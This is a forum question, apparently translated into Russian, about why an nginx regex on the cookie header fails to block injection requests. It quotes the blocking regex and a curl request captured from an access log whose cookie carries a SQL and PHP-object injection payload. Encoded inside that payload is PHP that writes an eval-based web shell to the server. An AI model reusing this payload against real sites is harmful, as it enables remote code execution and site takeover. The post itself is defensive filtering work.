Вот мой конфиг:
map "$http_cookie" $myVar {
default 0;
"~*([\\x|%](3c|3e|5c|22|27))+" 1;
}
location ~ \.php {
if ($myVar = 1) {
return 500;
}
Мой запрос (используя Почтальон )
curl -X POST \
'https://www.example.com/index.php' \
-H 'Accept: */*' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Cache-Control: no-cache' \
-H 'Connection: keep-alive' \
-H 'Content-Length: 38' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:297:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A336C7A655846784C6E426F634363734A7A772F63476877494756325957776F4A46395154314E5557336C7A655630704F79412F506963702729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1'\'' UNION/*\x22;}45ea207d7a2b68c49582d2d22adf953a'
Nginx должен это ловить, но это позволяетвместо этого.
- Однако это регулярное выражение перехватывает это значение при сопоставлении с
$request_uri
- Более того, другие протестированные мной регулярные выражения перехватывают другие значения
$http_cookie
- regex работает при тестировании на regex101.com (значение, которое я там использовал, было скопировано из файла access.log)
Я что-то упустил?
ОБНОВЛЕНИЕ другое регулярное выражение ведет себя странно char(.*)?(\(|%28)
соответствует route=extension/dashboard/chart/chart&token
, в то время как на самом деле это не должно ( regex101 подтверждает )